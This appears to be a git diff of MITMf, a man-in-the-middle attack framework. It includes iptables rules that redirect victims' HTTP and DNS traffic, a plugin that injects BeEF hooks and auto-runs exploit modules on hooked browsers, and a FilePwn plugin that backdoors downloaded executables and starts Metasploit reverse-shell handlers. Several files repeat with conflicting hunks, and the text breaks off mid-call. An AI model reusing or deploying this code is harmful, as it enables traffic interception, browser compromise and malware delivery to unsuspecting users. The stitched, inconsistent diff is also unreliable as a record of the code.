IpTables() + @staticmethod + def getInstance(): + if IpTables._instance == None: + IpTables._instance = IpTables() - return IpTables._instance + return IpTables._instance - def Flush(self): - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - self.dns = False - self.http = False + def Flush(self): + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + self.dns = False + self.http = False - def HTTP(self, http_redir_port): - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) - self.http = True + def HTTP(self, http_redir_port): + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) + self.http = True - def DNS(self, ip, port): - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port)) - self.dns = True + def DNS(self, ip, port): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to {}:{}'.format(ip, port)) + self.dns = True class Banners: - banner1 = """ + banner1 = """ __ __ ___ .--. __ __ ___ | |/ `.' `. |__| | |/ `.' `. _.._ | .-. .-. '.--. .| | .-. .-. ' .' .._| @@ -85,7 +98,7 @@ class Banners: `'-' |_| """ - banner2= """ + banner2= """ ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ ▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ ▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ @@ -97,7 +110,7 @@ class Banners: ░ ░ ░ """ - banner3 = """ + banner3 = """ ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ @@ -108,7 +121,7 @@ class Banners: ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ """ - banner4 = """ + banner4 = """ ___ ___ ___ /\ \ /\ \ /\__\ |::\ \ ___ ___ |::\ \ /:/ _/_ @@ -121,7 +134,16 @@ class Banners: \:\__\ /:/ / \:\__\ \:\__\ \:\__\ \/__/ \/__/ \/__/ \/__/ \/__/ """ - - def printBanner(self): - banners = [self.banner1, self.banner2, self.banner3, self.banner4] - print random.choice(banners) \ No newline at end of file + + banner5 = """ +███╗ ███╗██╗████████╗███╗ ███╗███████╗ +████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝ +██╔████╔██║██║ ██║ ██╔████╔██║█████╗ +██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝ +██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║ +╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ +""" + + def printBanner(self): + banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5] + print random.choice(banners) \ No newline at end of file diff --git a/libs/dnschef b/libs/dnschef deleted file mode 160000 index d24a8c2..0000000 --- a/libs/dnschef +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d24a8c2237eaae372e60a47f175694e8afa07c32 diff --git a/mitmf.py b/mitmf.py index 74e469a..97bedfe 100755 --- a/mitmf.py +++ b/mitmf.py @@ -28,21 +28,16 @@ from twisted.internet import reactor from core.sslstrip.CookieCleaner import CookieCleaner from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners -from core.utils import PrintException -from configobj import ConfigObj - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr, get_if_hwaddr +from core.configwatcher import ConfigWatcher from plugins import * -plugin_classes = plugin.Plugin.__subclasses__() try: import user_agents except ImportError: print "[-] user_agents library missing! User-Agent parsing will be disabled!" -mitmf_version = "0.9.6" +mitmf_version = "0.9.6-dev" sslstrip_version = "0.9" sergio_version = "0.2.1" dnschef_version = "0.4" @@ -75,6 +70,8 @@ sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a l sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") #Initialize plugins +plugin_classes = plugin.Plugin.__subclasses__() + plugins = [] try: for p in plugin_classes: @@ -99,37 +96,6 @@ except NotImplementedError: args = parser.parse_args() -try: - configfile = ConfigObj(args.configfile) -except Exception, e: - sys.exit("[-] Error parsing config file: {}".format(e)) - -config_args = configfile['MITMf']['args'] -if config_args: - print "[*] Loading arguments from config file" - for arg in config_args.split(' '): - sys.argv.append(arg) - args = parser.parse_args() - -#################################################################################################### - -# Here we check for some variables that are very commonly used, and pass them down to the plugins -try: - args.ip_address = get_if_addr(args.interface) - if (args.ip_address == "0.0.0.0") or (args.ip_address is None): - sys.exit("[-] Interface {} does not have an assigned IP address".format(args.interface)) -except Exception, e: - sys.exit("[-] Error retrieving interface IP address: {}".format(e)) - -try: - args.mac_address = get_if_hwaddr(args.interface) -except Exception, e: - sys.exit("[-] Error retrieving interface MAC address: {}".format(e)) - -args.configfile = configfile #so we can pass the configobj down to all the plugins - -#################################################################################################### - log_level = logging.__dict__[args.log_level.upper()] #Start logging @@ -158,11 +124,9 @@ for p in plugins: print "| |_ {}".format(line) p.tree_output.remove(line) - if getattr(args, p.optname): p.initialize(args) load.append(p) - if vars(args)[p.optname] is True: if hasattr(p, 'tree_output') and p.tree_output: for line in p.tree_output: print "| |_ {}".format(line) @@ -170,21 +134,15 @@ for p in plugins: #Plugins are ready to go, start MITMf if args.disproxy: ProxyPlugins.getInstance().setPlugins(load) + DNSChef.getInstance().start() else: - from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor - from libs.dnschef.dnschef import DNSChef + from core.dnschef.dnschef import DNSChef URLMonitor.getInstance().setFaviconSpoofing(args.favicon) - URLMonitor.getInstance().setResolver(args.configfile['MITMf']['DNS']['resolver']) - URLMonitor.getInstance().setResolverPort(args.configfile['MITMf']['DNS']['port']) - DNSChef.getInstance().setCoreVars(args.configfile['MITMf']['DNS']) - if args.configfile['MITMf']['DNS']['tcp'].lower() == 'on': - DNSChef.getInstance().startTCP() - else: - DNSChef.getInstance().startUDP() + DNSChef.getInstance().start() CookieCleaner.getInstance().setEnabled(args.killsessions) ProxyPlugins.getInstance().setPlugins(load) @@ -195,10 +153,12 @@ else: reactor.listenTCP(args.listen, strippingFactory) #load custom reactor options for plugins that have the 'plugin_reactor' attribute - for p in plugins: - if getattr(args, p.optname): - if hasattr(p, 'plugin_reactor'): - p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it + for p in load: + if hasattr(p, 'plugin_reactor'): + p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it + + if hasattr(p, 'startConfigWatch'): + p.startConfigWatch() print "|" print "|_ Sergio-Proxy v{} online".format(sergio_version) diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 13985a1..8d81dc8 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -29,6 +29,7 @@ import sys from plugins.plugin import Plugin from datetime import date from core.sslstrip.URLMonitor import URLMonitor +from core.configwatcher import ConfigWatcher mitmf_logger = logging.getLogger('mitmf') @@ -47,18 +48,16 @@ class AppCachePlugin(Plugin): self.urlMonitor.setAppCachePoisoning() - try: - self.config = options.configfile['AppCachePoison'] - except Exception, e: - sys.exit("[-] Error parsing config file for AppCachePoison: " + str(e)) - def handleResponse(self, request, data): + self.config = ConfigWatcher.getInstance().getConfig()['AppCachePoison'] # so we reload the config on each request url = request.client.uri req_headers = request.client.getAllHeaders() headers = request.client.responseHeaders ip = request.client.getClientIP() + ######################################################################### + if "enable_only_in_useragents" in self.config: regexp = self.config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 59fceeb..39bed82 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -24,16 +24,15 @@ import json import threading from core.beefapi.beefapi import BeefAPI +from core.configwatcher import ConfigWatcher +from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.Inject import Inject from time import sleep -requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message -requests_log.setLevel(logging.WARNING) - mitmf_logger = logging.getLogger('mitmf') -class BeefAutorun(Inject, Plugin): +class BeefAutorun(Inject, Plugin, ConfigWatcher): name = "BeEFAutorun" optname = "beefauto" desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" @@ -43,95 +42,90 @@ class BeefAutorun(Inject, Plugin): has_opts = False def initialize(self, options): - self.options = options - self.ip_address = options.ip_address - - try: - beefconfig = options.configfile['MITMf']['BeEF'] - except Exception, e: - sys.exit("[-] Error parsing BeEF options in config file: " + str(e)) - - try: - userconfig = options.configfile['BeEFAutorun'] - except Exception, e: - sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e)) - - self.Mode = userconfig['mode'] - self.All_modules = userconfig["ALL"] - self.Targeted_modules = userconfig["targets"] + self.options = options + self.ip_address = SystemConfig.getIP(options.interface) Inject.initialize(self, options) - self.black_ips = [] - self.html_payload = '' % (self.ip_address, beefconfig['beefport']) - - beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if not beef.login(beefconfig['user'], beefconfig['pass']): - sys.exit("[-] Error logging in to BeEF!") - self.tree_output.append("Mode: %s" % self.Mode) + self.onConfigChange() - t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) + t = threading.Thread(name="autorun", target=self.autorun, args=()) t.setDaemon(True) t.start() - def autorun(self, beef): + def onConfigChange(self): + + beefconfig = self.config['MITMf']['BeEF'] + + self.html_payload = ''.format(self.ip_address, beefconfig['beefport']) + + self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) + if not self.beef.login(beefconfig['user'], beefconfig['pass']): + sys.exit("[-] Error logging in to BeEF!") + + self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) + + def autorun(self): already_ran = [] already_hooked = [] while True: - sessions = beef.sessions_online() + mode = self.config['BeEFAutorun']['mode'] + sessions = self.beef.sessions_online() if (sessions is not None and len(sessions) > 0): for session in sessions: if session not in already_hooked: - info = beef.hook_info(session) - mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) + info = self.beef.hook_info(session) + mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os'])) already_hooked.append(session) self.black_ips.append(str(info['ip'])) - if self.Mode == 'oneshot': + if mode == 'oneshot': if session not in already_ran: - self.execModules(session, beef) + self.execModules(session) already_ran.append(session) - elif self.Mode == 'loop': - self.execModules(session, beef) + elif mode == 'loop': + self.execModules(session) sleep(10) else: sleep(1) - def execModules(self, session, beef): - session_info = beef.hook_info(session) - session_ip = session_info['ip'] - hook_browser = session_info['name'] - hook_os = session_info['os'] + def execModules(self, session): + session_info = self.beef.hook_info(session) + session_ip = session_info['ip'] + hook_browser = session_info['name'] + hook_os = session_info['os'] + all_modules = self.config['BeEFAutorun']["ALL"] + targeted_modules = self.config['BeEFAutorun']["targets"] - if len(self.All_modules) > 0: - mitmf_logger.info("%s >> sending generic modules" % session_ip) - for module, options in self.All_modules.iteritems(): - mod_id = beef.module_id(module) - resp = beef.module_run(session, mod_id, json.loads(options)) + if len(all_modules) > 0: + mitmf_logger.info("{} >> sending generic modules".format(session_ip)) + for module, options in all_modules.iteritems(): + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': - mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) else: - mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) sleep(0.5) - mitmf_logger.info("%s >> sending targeted modules" % session_ip) - for os in self.Targeted_modules: + mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) + for os in targeted_modules: if (os in hook_os) or (os == hook_os): - browsers = self.Targeted_modules[os] + browsers = targeted_modules[os] if len(browsers) > 0: for browser in browsers: if browser == hook_browser: - modules = self.Targeted_modules[os][browser] + modules = targeted_modules[os][browser] if len(modules) > 0: for module, options in modules.iteritems(): - mod_id = beef.module_id(module) - resp = beef.module_run(session, mod_id, json.loads(options)) + mod_id = self.beef.module_id(module) + resp = self.beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': - mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) + mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) else: - mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 8f3afa1..44ea3c5 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -54,7 +54,7 @@ class BrowserProfiler(Inject, Plugin): if self.dic_output['plugin_list'] > 0: self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) + mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output)) def get_payload(self): payload = """'.format(self.ip_address, beefconfig['beefport']) - - self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if not self.beef.login(beefconfig['user'], beefconfig['pass']): - sys.exit("[-] Error logging in to BeEF!") - - self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) - - def autorun(self): - already_ran = [] - already_hooked = [] - - while True: - mode = self.config['BeEFAutorun']['mode'] - sessions = self.beef.sessions_online() - if (sessions is not None and len(sessions) > 0): - for session in sessions: - - if session not in already_hooked: - info = self.beef.hook_info(session) - mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os'])) - already_hooked.append(session) - self.black_ips.append(str(info['ip'])) - - if mode == 'oneshot': - if session not in already_ran: - self.execModules(session) - already_ran.append(session) - - elif mode == 'loop': - self.execModules(session) - sleep(10) - - else: - sleep(1) - - def execModules(self, session): - session_info = self.beef.hook_info(session) - session_ip = session_info['ip'] - hook_browser = session_info['name'] - hook_os = session_info['os'] - all_modules = self.config['BeEFAutorun']["ALL"] - targeted_modules = self.config['BeEFAutorun']["targets"] - - if len(all_modules) > 0: - mitmf_logger.info("{} >> sending generic modules".format(session_ip)) - for module, options in all_modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) - sleep(0.5) - - mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) - for os in targeted_modules: - if (os in hook_os) or (os == hook_os): - browsers = targeted_modules[os] - if len(browsers) > 0: - for browser in browsers: - if browser == hook_browser: - modules = targeted_modules[os][browser] - if len(modules) > 0: - for module, options in modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) - sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py deleted file mode 100644 index 44ea3c5..0000000 --- a/plugins/BrowserProfiler.py +++ /dev/null @@ -1,129 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from plugins.Inject import Inject -from pprint import pformat -import logging - -mitmf_logger = logging.getLogger('mitmf') - -class BrowserProfiler(Inject, Plugin): - name = "Browser Profiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - depends = ["Inject"] - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.get_payload() - self.dic_output = {} # so other plugins can access the results - - def post2dict(self, post): #converts the ajax post to a dic - dict = {} - for line in post.split('&'): - t = line.split('=') - dict[t[0]] = t[1] - return dict - - def sendPostData(self, request): - #Handle the plugin output - if 'clientprfl' in request.uri: - self.dic_output = self.post2dict(request.postData) - self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client - if self.dic_output['plugin_list'] > 0: - self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') - pretty_output = pformat(self.dic_output) - mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output)) - - def get_payload(self): - payload = """""" - - return payload diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index b912244..c039f61 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -20,7 +20,6 @@ from plugins.plugin import Plugin - class CacheKill(Plugin): name = "CacheKill" optname = "cachekill" diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py deleted file mode 100644 index ebe6fbc..0000000 --- a/plugins/FilePwn.py +++ /dev/null @@ -1,652 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -import sys -import os -import pefile -import zipfile -import logging -import shutil -import random -import string -import tarfile -import multiprocessing -import threading - -from libs.bdfactory import pebin -from libs.bdfactory import elfbin -from libs.bdfactory import machobin -from core.msfrpc import Msfrpc -from core.configwatcher import ConfigWatcher -from plugins.plugin import Plugin -from tempfile import mkstemp -from configobj import ConfigObj - -mitmf_logger = logging.getLogger('mitmf') - -class FilePwn(Plugin, ConfigWatcher): - name = "FilePwn" - optname = "filepwn" - desc = "Backdoor executables being sent over http using bdfactory" - implements = ["handleResponse"] - tree_output = ["BDFProxy v0.3.2 online"] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - - self.patched = multiprocessing.Queue() - - #FOR FUTURE USE - self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] - - #FOR FUTURE USE - self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] - - #USED NOW - self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, - 'pe': {'number': 'MZ', 'offset': 0}, - 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, - 'bz': {'number': 'BZ', 'offset': 0}, - 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, - 'tar': {'number': 'ustar', 'offset': 257}, - 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, - 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, - 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, - } - - #NOT USED NOW - #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - - #FilePwn options - self.userConfig = self.config['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] - - #Metasploit options - msfcfg = self.config['MITMf']['Metasploit'] - rpcip = msfcfg['rpcip'] - rpcpass = msfcfg['rpcpass'] - - try: - msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary - msf.login('msf', rpcpass) - version = msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v{}".format(version)) - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - self.tree_output.append("Setting up Metasploit payload handlers") - jobs = msf.call('job.list') - for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: - cmd = "use exploit/multi/handler\n" - cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) - cmd += "set LHOST {}\n".format(config["HOST"]) - cmd += "set LPORT {}\n".format(config["PORT"]) - cmd += "exploit -j\n" - - if jobs: - for pid, name in jobs.iteritems(): - info = msf.call('job.info', [pid]) - if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) - else: - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) - - def onConfigChange(self): - self.initialize(self.options) - - def convert_to_Bool(self, aString): - if aString.lower() == 'true': - return True - elif aString.lower() == 'false': - return False - elif aString.lower() == 'none': - return None - - def bytes_have_format(self, bytess, formatt): - number = self.magicNumbers[formatt] - if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: - return True - return False - - def binaryGrinder(self, binaryFile): - """ - Feed potential binaries into this function, - it will return the result PatchedBinary, False, or None - """ - - with open(binaryFile, 'r+b') as f: - binaryTMPHandle = f.read() - - binaryHeader = binaryTMPHandle[:4] - result = None - - try: - if binaryHeader[:2] == 'MZ': # PE/COFF - pe = pefile.PE(data=binaryTMPHandle, fast_load=True) - magic = pe.OPTIONAL_HEADER.Magic - machineType = pe.FILE_HEADER.Machine - - #update when supporting more than one arch - if (magic == int('20B', 16) and machineType == 0x8664 and - self.WindowsType.lower() in ['all', 'x64']): - add_section = False - cave_jumping = False - if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx64['SHELL'], - HOST=self.WindowsIntelx64['HOST'], - PORT=int(self.WindowsIntelx64['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif (machineType == 0x14c and - self.WindowsType.lower() in ['all', 'x86']): - add_section = False - cave_jumping = False - #add_section wins for cave_jumping - #default is single for BDF - if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx86['SHELL'], - HOST=self.WindowsIntelx86['HOST'], - PORT=int(self.WindowsIntelx86['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF - - targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - if targetFile.class_type == 0x1: - #x86CPU Type - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx86['SHELL'], - HOST=self.LinuxIntelx86['HOST'], - PORT=int(self.LinuxIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - elif targetFile.class_type == 0x2: - #x64 - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx64['SHELL'], - HOST=self.LinuxIntelx64['HOST'], - PORT=int(self.LinuxIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho - targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE - - if targetFile.FAT_FILE is True: - if self.FatPriority == 'x86': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif self.FatPriority == 'x64': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - 